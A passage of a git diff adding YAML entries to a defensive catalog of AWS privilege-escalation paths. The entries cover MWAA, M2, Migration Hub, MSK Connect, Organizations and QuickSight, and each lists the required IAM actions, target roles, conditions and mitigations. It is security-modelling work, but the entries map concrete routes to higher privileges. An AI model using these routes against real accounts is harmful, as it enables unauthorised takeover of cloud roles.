scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole, lambda:CreateFunction, events:PutRule, events:PutTargets, and lambda:AddPermission to approved deployment principals. + references: + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutRule.html + - https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-conditions.html + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutTargets.html + notes: The two page examples, creating IAM user keys and granting assume-role permissions, are payload effects of this one role-execution path. A new PutRule is enabled by default and its schedule can supply the trigger without an external event source. The rule may also include an event pattern when an IAM condition requires events:source or events:detail-type. +- id: aws-lambda-getconfig-secret-identity + provider: aws + service: lambda + title: Recover a distinct identity credential from GetFunctionConfiguration environment + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#enumeration + source_revision: b587e6bd26 + summary: Recover a distinct identity credential from GetFunctionConfiguration environment when the exact + target and prerequisites are verified. + requires: + all_of: + - action: lambda:GetFunctionConfiguration + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-lambda-getconfig-secret-identity + scope: same_account + aggregate_as: Verified Recover a distinct identity credential from GetFunctionConfiguration environment + targets in {account} + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + outcome: credentials + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the exact read or mutation permission and remove exposed credentials. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/lightsail.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/lightsail.yaml new file mode 100644 index 0000000000..7b53d52445 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/lightsail.yaml @@ -0,0 +1,7 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml new file mode 100644 index 0000000000..29dc5ecc15 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Mainframe Modernization (M2) privilege escalation techniques. +# Source: hacktricks-cloud aws-mainframe-modernization-privesc/README.md. + +- id: aws-m2-passrole-createapplication-deploy + provider: aws + service: m2 + title: Create, deploy and start an M2 application with a passed application role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2createapplication--iampassrole---execute-a-workload-with-an-application-role + source_revision: 171e422299 + summary: The source may cause an M2 application to use a passable application role for resource actions driven by attacker-controlled artifacts. + requires: + all_of: + - action: m2:CreateApplication + resource: "*" + - action: m2:CreateDeployment + resource: "*" + - action: m2:StartApplication + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: m2.amazonaws.com + scope: same_account + aggregate_as: "Mainframe Modernization application roles in {account}" + outcome: workload_execution + preconditions: + - m2_existing_environment_new_application_deploy + conditions: + - id: runtime_environment_exists + description: An existing managed runtime environment must be available for the deployment (m2:CreateDeployment covers both the new application and that environment). + - id: valid_artifacts + description: The source must read an S3 application definition and artifacts valid for the chosen engine (s3:GetObject and s3:ListBucket, plus KMS permissions for a customer key). + - id: role_use_bounded + description: Confirm that a source-controlled definition and its engine-specific artifacts were accepted, the exact application was deployed and started under the exact role, and the workload completed a useful action allowed to that role but unavailable directly to the source. The runtime's use of the role does not imply that its credentials were exposed to application code. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: medium + mitigation: Restrict iam:PassRole on M2 application roles to deployment pipelines with iam:PassedToService and exact role ARNs, and keep application roles least-privileged. + references: + - https://docs.aws.amazon.com/m2/latest/userguide/security-iam.html + notes: Creating an application record alone does not use the role; deployment and start are required. The evaluator requires one collected Available runtime environment, exact deployment authorization on it, broad deployment and start authority covering the generated application ID, PassRole to m2.amazonaws.com, and a writable readable S3 definition path. A concrete edge additionally requires fresh reviewed evidence that valid source-controlled artifacts executed under the exact application role and completed a useful action unavailable directly to the source. Missing or conflicting execution evidence leaves the route unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml new file mode 100644 index 0000000000..30557a2377 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml @@ -0,0 +1,102 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Migration Hub and Migration Hub Orchestrator privilege escalation techniques. +# Source: hacktricks-cloud aws-migration-hub-privesc/README.md and aws-migration-hub-orchestrator-privesc/README.md (rev 171e422299). + +- id: aws-mgh-passrole-automation-unit + provider: aws + service: mgh + title: Run a custom Migration Hub automation unit with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-privesc/README.md#migration-hub-automation-custom-unit--passrole---execute-as-a-more-privileged-role + source_revision: 171e422299 + summary: The source may be able to drive a passed role through a custom automation unit if the account can use the preview feature and the source controls a runnable target. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: migrationhub.amazonaws.com + - action: mgh:CreateAutomationUnit + resource: "*" + - action: mgh:AssociateAutomationUnitRole + resource: "*" + - action: mgh:CreateAutomationRun + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: migrationhub.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting migrationhub.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - mgh_automation_unit_home_region_target_and_run + conditions: + - id: preview_region + description: The preview feature is available only in us-east-1 with a us-east-1 Migration Hub home Region. + - id: controlled_runtime_target + description: The unit must target an SSM Automation document or Lambda function the source controls; SSM targets also need the role to trust ssm.amazonaws.com. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Migration Hub service roles with iam:PassedToService and limit automation-unit creation and runs to migration administrators. + references: + - https://docs.aws.amazon.com/migrationhub/latest/ug/automation.html + notes: The Migration Hub Automation guide warns that a user with these four permissions can perform actions the service role allows. A concrete edge requires fresh reviewed evidence of the us-east-1 home Region and feature access, one source-controlled SSM or Lambda target, successful creation, role association and run of the same unit, and a useful action performed under the exact role but unavailable directly to the caller. Current permissions must still allow creation, association on that unit, running and PassRole to migrationhub.amazonaws.com. Missing or conflicting execution evidence remains unresolved. + +- id: aws-migrationhub-orchestrator-workflow-step + provider: aws + service: migrationhub-orchestrator + title: Add or change a workflow step that runs a script on managed nodes + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-orchestrator-privesc/README.md#createworkflowstep--startworkflow---execute-an-s3-script-through-the-orchestrator-service-role + source_revision: 6fb9ac51fd + summary: A source-controlled script may run on an SSM-managed EC2 instance through a runnable Orchestrator workflow and reach that instance's role. + requires: + any_of: + - - action: migrationhub-orchestrator:CreateWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - action: migrationhub-orchestrator:StartWorkflow + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - - action: migrationhub-orchestrator:UpdateWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - action: migrationhub-orchestrator:RetryWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: Instance-profile roles of SSM-managed instances in {account} + outcome: workload_execution + preconditions: + - migrationhub_orchestrator_bound_workflow_script_and_managed_target + conditions: + - id: script_in_prefixed_bucket + description: The script must be in a migrationhub-orchestrator-* bucket (s3:PutObject + there, or an existing usable script). + - id: workflow_state + description: An existing workflow in a state that can be changed and started (or + a failed custom step for the retry variant), and the service-linked role, must + exist. + - id: instance_managed + description: The selected EC2 target must be an online SSM-managed node. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict workflow-step create/update/start/retry actions to migration + administrators and restrict writes to migrationhub-orchestrator-* buckets. + references: + - https://docs.aws.amazon.com/migrationhub-orchestrator/latest/userguide/security-iam-awsmanpol.html + notes: The two permissions in each alternative must authorize the same workflow. No iam:PassRole or ssm:SendCommand is needed because the service-linked role runs AWS-RunRemoteScript. A concrete edge requires fresh reviewed evidence that an automated step in a runnable workflow retrieved a source-controlled script, executed on the exact online SSM-managed EC2 instance, and performed a useful action under its exact instance role that the caller could not perform directly. Current workflow and S3 write permissions must still cover that same workflow and script. Missing or conflicting execution evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml new file mode 100644 index 0000000000..a5b41de7e3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml @@ -0,0 +1,57 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# PassRole techniques from the ML/analytics data-access page that yield code execution as the role. +# Source: hacktricks-cloud aws-ml-dataaccess-passrole-privesc/README.md (rev 171e422299). +# The data-only (confused-deputy read/write) services on that page are excluded in _excluded_refresh_g4.yaml. + +- id: aws-kafkaconnect-passrole-createconnector + provider: aws + service: kafkaconnect + title: Create an MSK Connect connector with a passed service execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting kafkaconnect.amazonaws.com by running connector plugin code it controls in MSK Connect workers that carry that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kafkaconnect.amazonaws.com + - action: kafkaconnect:CreateConnector + resource: "*" + - action: kafkaconnect:CreateCustomPlugin + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: kafkaconnect.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting kafkaconnect.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - kafkaconnect_plugin_execution_unverified + conditions: + - id: controlled_plugin_code + description: CreateCustomPlugin must register connector code the source supplies; an AWS-provided or unrelated existing plugin does not run source-controlled code. + - id: plugin_object_readable + description: When a new custom plugin is registered, its code object must be stored in S3 at a location readable for plugin creation. + - id: reachable_kafka_cluster + description: The connector needs a reachable Apache Kafka cluster (MSK or self-managed) and VPC subnets and security groups to attach to. + - id: ec2_dependent_actions + description: Connector creation also needs EC2 network-interface and VPC/subnet/security-group describe permissions, plus log-delivery permissions if worker logging is configured. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on MSK Connect service execution roles and kafkaconnect:CreateConnector / CreateCustomPlugin to platform administrators, keep connector roles least-privileged, and alert on CreateConnector calls that name an unexpected service execution role. + references: + - https://docs.aws.amazon.com/msk/latest/developerguide/msk-connect-service-execution-role.html + - https://docs.aws.amazon.com/msk/latest/developerguide/mkc-iam-policy-examples.html + notes: CreateCustomPlugin and CreateConnector are authorized on * and PassRole must cover the exact service execution role for kafkaconnect.amazonaws.com. A concrete route requires fresh reviewed evidence that the source controlled the exact S3 JAR or ZIP registered as a custom plugin, the connector selected that plugin and a reachable Kafka cluster with working network configuration, and the running plugin performed a useful action under the immutable role ID that the caller could not perform directly. Missing artifact, cluster or execution evidence remains UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml new file mode 100644 index 0000000000..aa7b4992c7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml @@ -0,0 +1,114 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon MWAA (Managed Workflows for Apache Airflow) privilege escalation techniques. +# Source: hacktricks-cloud aws-post-exploitation/aws-mwaa-post-exploitation/README.md (rev 171e422299). + +- id: aws-mwaa-s3-putobject-dag + provider: aws + service: airflow + title: Upload a Python DAG to an existing MWAA environment + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#write-a-dag-file-into-an-mwaa-environments-dag-bucket-and-run-code-as-its-execution-role + source_revision: aa345c4cbe + summary: The source can place a Python DAG in an existing environment's configured S3 DAG folder, where MWAA may parse it under the environment's recorded execution role. + requires: + all_of: + - action: s3:PutObject + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of MWAA environments whose DAG folders are writable in {account} + outcome: workload_execution + preconditions: + - mwaa_existing_dag_object_execution_role + conditions: + - id: dag_sync_and_python_parse + description: The uploaded Python file must be synchronized and parsed by MWAA; object encryption and runtime failures may still block code execution. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit write access to each MWAA DAG folder to trusted deployment principals and keep environment execution roles narrow. + references: + - https://docs.aws.amazon.com/mwaa/latest/userguide/configuring-dag-folder.html + - https://docs.aws.amazon.com/mwaa/latest/API/API_GetEnvironment.html + notes: The evaluator binds a collected AVAILABLE environment's exact ExecutionRoleArn, bucket and DAG path to a source-writable Python object and the role's read/list grants. It also tests exact .py keys named by the source policy, not only a fixed generated file. It never infers a role from a token or from a different environment's DAG bucket. + +- id: aws-mwaa-serverless-passrole-createworkflow + provider: aws + service: airflow-serverless + title: Create an MWAA Serverless workflow with a passed execution role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#airflow-serverlesscreateworkflow--iampassrole--run-attacker-code-as-the-execution-role + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting airflow-serverless.amazonaws.com by creating a workflow from its own YAML definition with that execution role and starting a run. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: airflow-serverless.amazonaws.com + - action: airflow-serverless:CreateWorkflow + resource: "*" + - action: airflow-serverless:StartWorkflowRun + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: airflow-serverless.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Passable MWAA Serverless execution roles in {account}" + outcome: workload_execution + preconditions: + - mwaa_serverless_new_workflow_definition_and_start + conditions: + - id: definition_readable + description: The caller needs s3:GetObject/s3:ListBucket on a bucket holding its DAG-factory YAML definition and CloudWatch Logs write on the workflow log group. + - id: network_reach + description: Without NAT or VPC endpoints, in-task AWS API calls only reach endpoints the workflow network can route to; the role is still assumed in the worker. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Constrain iam:PassRole for airflow-serverless.amazonaws.com to approved roles and restrict airflow-serverless:CreateWorkflow. + references: + - https://docs.aws.amazon.com/mwaa/latest/mwaa-serverless-userguide/what-is-mwaa-serverless.html + notes: The source demonstrates a DAG-factory YAML object in S3 and a subsequent StartWorkflowRun call on the ARN returned by CreateWorkflow. The evaluator requires complete workflow inventory, a free name, a same-Region versioned private bucket for source-written YAML, StartWorkflowRun covering generated IDs, logging grants, and the exact service-linked role or permission to create it. A concrete role edge additionally requires fresh reviewed evidence that the exact YAML was accepted, its new workflow ran, and a useful action succeeded under the exact execution role but not for the caller. Missing or conflicting execution evidence remains unresolved. + +- id: aws-mwaa-passrole-updateenvironment + provider: aws + service: airflow + title: Repoint an MWAA environment to a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#repoint-the-execution-role-airflowupdateenvironment--iampassrole + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting MWAA by switching an environment's execution role to them and running code on the workers (startup script, plugins, requirements or a DAG). + requires: + all_of: + - action: airflow:UpdateEnvironment + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: [airflow.amazonaws.com, airflow-env.amazonaws.com] + scope: same_account + aggregate_as: "Passable MWAA execution roles in {account}" + outcome: workload_execution + preconditions: + - mwaa_existing_environment_update_with_dag_code + conditions: + - id: code_trigger + description: Caller code must run on the workers after the update, through StartupScriptS3Path/PluginsS3Path/RequirementsS3Path objects the source controls, a DAG it can add, or an Airflow token (airflow:CreateCliToken / CreateWebLoginToken). + - id: environment_exists + description: An MWAA environment must already exist; the update is asynchronous and recycles the workers. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Constrain iam:PassRole for airflow.amazonaws.com / airflow-env.amazonaws.com and restrict airflow:UpdateEnvironment; pin aws:SourceArn of the environment in execution-role trust policies. + references: + - https://docs.aws.amazon.com/mwaa/latest/API/API_UpdateEnvironment.html + notes: The evaluator binds UpdateEnvironment to a usable collected environment and checks PassRole for that environment with iam:PassedToService and iam:AssociatedResourceArn. It also verifies a writable DAG object the passed role can list and read. A concrete role edge additionally requires fresh reviewed evidence that the update succeeded, the exact controlled DAG parsed, a task ran, and a useful action succeeded under the exact new execution role but not for the caller. Startup scripts, plugins and Airflow tokens are alternative code paths that remain unresolved. The same UpdateEnvironment call can set code paths that run as the current execution role without PassRole. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml new file mode 100644 index 0000000000..f1f2766241 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml @@ -0,0 +1,91 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Organizations privilege escalation techniques. +# Source: hacktricks-cloud aws-organizations-prinvesc/README.md. + +- id: aws-organizations-management-to-member-accounts + provider: aws + service: organizations + title: Assume trusted roles in usable organization member accounts + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#from-management-account-to-children-accounts + source_revision: 6fb9ac51fd + summary: A management-account principal can obtain the privileges of roles in usable member accounts that trust it. + requires: + all_of: + - action: sts:AssumeRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + trust_allows_principal_of_source: true + org_member_account: true + scope: org + aggregate_as: Organization access roles in member accounts + conditions: + - id: role_exists + description: OrganizationAccountAccessRole is created for accounts created through Organizations; invited accounts + need it added manually. Control Tower enrolled accounts may instead have AWSControlTowerExecution, which trusts + the management account and has administrator access. + - id: source_in_management_account + description: The source must live in the management account that the member-account role trusts. + preconditions: + - target_in_other_account + - source_in_org_management_account + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Keep the management account free of workloads, limit who can assume roles from it, and replace the + default role with narrowly trusted roles. + references: + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access-cross-account-role.html + - https://docs.aws.amazon.com/controltower/latest/userguide/awscontroltowerexecution.html + notes: The role can have any permission level; OrganizationAccountAccessRole and AWSControlTowerExecution often have broad permissions. SCPs apply to the assumed role in the member account. Overlaps with aws-sts-assumerole-trusted; kept to identify the organization relationship. + + +- id: aws-organizations-createaccount-principalorgid-trust + provider: aws + service: organizations + title: Create a member account to satisfy role trusts keyed on aws:PrincipalOrgID + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--create-a-member-account-with-a-management-access-role + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae + summary: A management-account principal can create a member account, assume its new management access role if authorized, and then try roles whose trust allows principals from the organization. + requires: + all_of: + - action: organizations:CreateAccount + resource: "*" + target: + kind: aws_role + selector: + trust_allows_principal_org: true + scope: any + aggregate_as: "Roles trusting any principal of the organization" + conditions: + - id: org_paths_root + description: CreateAccount places the new account in the organization root; trusts restricted with aws:PrincipalOrgPaths to a specific OU additionally need organizations:MoveAccount. + - id: target_trust_other_conditions + description: Additional trust conditions (source IP, VPC, tags) must be satisfiable from the new account. + - id: account_quota + description: The organization must have account quota left and CreateAccount is asynchronous and visible in CloudTrail. + - id: access_role_name + description: The admin role created in the new account is OrganizationAccountAccessRole by default but its name is chosen by the caller, so sts:AssumeRole must cover the chosen role name. + - id: root_scp_and_target_rcp + description: Root SCPs must allow sts:AssumeRole from the new member account, and target-account RCPs must not deny it on the trusted role. + preconditions: + - source_in_org_management_account + - created_org_access_role_assumable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict organizations:CreateAccount to break-glass roles, avoid Principal "*" trusts that rely only on aws:PrincipalOrgID, and pin trusted accounts or role paths instead. + references: + - https://docs.aws.amazon.com/organizations/latest/APIReference/API_CreateAccount.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalorgid + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_evaluation.html + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html + notes: The trust is evaluated with aws:PrincipalOrgID set to the collected organization id and aws:PrincipalOrgPaths to the root path. Incomplete organization, root SCP, target RCP or additional trust-condition evidence leaves the role route unresolved. CreateAccount is asynchronous, so a concrete edge additionally requires fresh reviewed evidence that creation completed, the new account is active in the root, the source assumed its exact access role, that role assumed the exact target role, and the target role supplies a useful action the source lacks. Missing, failed or conflicting creation evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/pcaconnectorad.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/pcaconnectorad.yaml new file mode 100644 index 0000000000..49535eea37 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/pcaconnectorad.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Private CA Connector for Active Directory privilege escalation techniques (cloud-to-AD). +# Source: hacktricks-cloud aws-pca-connector-ad-privesc/README.md (rev 171e422299). +# Target: aws_directory_domain_admin, an entity per account meaning "domain administrator of an Active Directory joined +# through a PCA connector in that account". Connectors are not collected (pca-connector-ad:ListConnectors), so the targets +# are per-account unresolved placeholders; the entity is not an AWS-admin kind. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/pipes.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/pipes.yaml new file mode 100644 index 0000000000..3779881d4c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/pipes.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge Pipes privilege escalation techniques. +# Source: hacktricks-cloud aws-eventbridge-pipes-privesc/README.md and aws-eventbridge-pipe-stored-role-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml new file mode 100644 index 0000000000..1f79d6fbf1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml @@ -0,0 +1,72 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon QuickSight application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-quicksight-privesc/README.md (rev 171e422299). +# QuickSight user inventory is collected, but a new ADMIN registration needs +# subscription, IAM identity, and requested user ARN evidence before sign-off. + +- id: aws-quicksight-updateuser-admin + provider: aws + service: quicksight + title: Promote an existing IAM-backed QuickSight user to administrator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightupdateuser--self-promote-to-admin + source_revision: 171e422299 + summary: An IAM user can promote its own active QuickSight identity to ADMIN when UpdateUser is allowed on that exact QuickSight user. + source_kind: [aws_user] + requires: + all_of: + - action: quicksight:UpdateUser + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: quicksight + quicksight_existing_iam_user: true + scope: same_account + aggregate_as: "QuickSight administrator for {target.resource_arn}" + grants: [QuickSight ADMIN] + preconditions: + - quicksight_existing_iam_user_self_admin + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict quicksight:UpdateUser on users' own QuickSight identities and monitor changes to ADMIN. + notes: PrincipalId must exactly match the caller's immutable IAM UserId; a role session, QuickSight-native user, inactive user, or custom permission restriction is not a definite self-promotion. + +- id: aws-quicksight-registeruser-admin + provider: aws + service: quicksight + title: Register an IAM user as a QuickSight administrator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightregisteruser--map-a-controlled-iam-identity-to-an-admin + source_revision: 171e422299 + summary: The source IAM user can register itself as a QuickSight ADMIN, gaining control of the account's QuickSight resources and data sources. + source_kind: [aws_user] + requires: + all_of: + - action: quicksight:RegisterUser + resource: "arn:{source.partition}:quicksight:{target.region}:{target.account}:user/default/{source.name}" + request_context: + quicksight:IamArn: + source_principal: true + quicksight:SessionName: + absent: true + target: + kind: aws_service_plane_admin + selector: + service_plane: quicksight + scope: same_account + aggregate_as: "QuickSight administrators in {account}" + grants: [QuickSight ADMIN] + preconditions: + - quicksight_subscribed + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict quicksight:RegisterUser to QuickSight administrators and alert on RegisterUser with Role=ADMIN. + notes: The request sets UserName to the source IAM user's name and IamArn to that same user, so RegisterUser authorizes the exact new user/default/ ARN. It omits SessionName, which is required only for assumed IAM roles. IAM role sessions need a separate session-bound path. This grants QuickSight administration, not IAM administrator access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/rds.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/rds.yaml new file mode 100644 index 0000000000..578695efe7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/rds.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon RDS / Aurora privilege escalation techniques. +# Source: hacktricks-cloud aws-rds-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml); name_prefix selector (see agent report). +# RDS-associated roles are only usable through engine integrations (S3 import/export, Lambda, ML, etc.), so the +# privileges obtained are bounded to the services those integrations call, not a full role session. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/redshift.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/redshift.yaml new file mode 100644 index 0000000000..548fb0e5c6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/redshift.yaml @@ -0,0 +1,16 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Redshift privilege escalation techniques. +# Source: hacktricks-cloud aws-redshift-privesc/README.md (rev a53b46392c; partially re-pointed to rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). +# Database access to a cluster/namespace lets SQL (COPY/UNLOAD, external functions/schemas, Spectrum) use the IAM roles +# attached to it. AWS docs: "By default, IAM roles that are available to an Amazon Redshift cluster are available to all +# users on that cluster"; access can be narrowed with ASSUMEROLE grants or an sts:ExternalId trust condition listing dbuser +# ARNs. Privileges obtained are bounded to the services those SQL integrations call (S3, Lambda, Glue/Athena catalog, EMR, +# DynamoDB, Kinesis), plus role chaining to roles that trust the attached role. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/s3.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/s3.yaml new file mode 100644 index 